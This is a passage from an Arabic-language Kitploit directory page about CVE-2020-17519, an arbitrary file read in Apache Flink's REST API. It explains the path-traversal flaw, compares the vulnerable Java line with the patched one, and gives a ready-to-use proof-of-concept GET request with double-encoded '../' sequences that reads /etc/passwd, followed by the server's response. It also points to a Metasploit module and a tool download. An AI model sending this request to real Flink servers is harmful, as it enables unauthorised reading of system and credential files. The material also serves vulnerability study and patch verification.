Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-17519 — [CVE-2020-17519] قراءة ملفات تعسفية عبر واجهة برمجة التطبيقات RESTful في Apache Flink | Kitploit
أدوات/GitHubGitHub/murataydemir/cve-2020-17519
أطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubmurataydemir/cve-2020-17519

CVE-2020-17519

[CVE-2020-17519] قراءة ملفات تعسفية عبر واجهة برمجة التطبيقات RESTful في Apache Flink

عرض المستودع
821منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

[CVE-2020-17519] قراءة ملف تعسفي عبر واجهة برمجة تطبيقات Apache Flink RESTful


Apache Flink هو إطار عمل ومحرك معالجة موزع للحسابات ذات الحالة عبر تدفقات البيانات غير المحدودة والمحدودة، وهو مطوّر باستخدام Java وScala. يسمح تغيير تم تقديمه في Apache Flink 1.11.0 (وتم إصداره في 1.11.1 و1.11.2 أيضًا) للمهاجمين بقراءة أي ملف على نظام الملفات المحلي لـ JobManager عبر واجهة برمجة التطبيقات RESTful الخاصة بعملية JobManager. يقتصر الوصول إلى نظام الملفات على الملفات التي يمكن لعملية JobManager الوصول إليها.

بينما تتأثر جميع الإصدارات بين 1.11.0 - 1.11.2 بالثغرة ذات الصلة، فقد قامت Apache Flink بإصلاح الثغرة للإصدارات 1.11.3 وما فوق.

الكود القابل للاستغلال هو الفئة src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java. مقتطف الكود ذو الصلة موضح أدناه.

root@kitploit:~
		if (logDir == null) {
			return null;
		}
		String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		return new File(logDir, filename);
	}
}

المشكلة هي أن معالج الطلب يسمح بالوصول المباشر إلى مسار الملف. بهذا commit، تم تغيير سطر الكود القابل للاستغلال كما هو موضح أدناه. في مقتطف الكود أدناه، تم وضع علامة على السطر القابل للاستغلال كسطر تعليق.

root@kitploit:~
		if (logDir == null) {
			return null;
		}
		// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
		String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
		return new File(logDir, filename);
	}
}

إثبات المفهوم (PoC): لاستغلال هذه الثغرة، يمكنك استخدام الطلب التالي

root@kitploit:~
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

استجابة الطلب أعلاه موضحة أدناه

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/bin:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

صورة PoC
أيضًا، تتوفر وحدة metasploit لهذه الثغرة CVE-2020-17519 بتقييم ممتاز. يمكنك العثور على أكواد Ruby هنا صورة PoC

تنزيل الأداة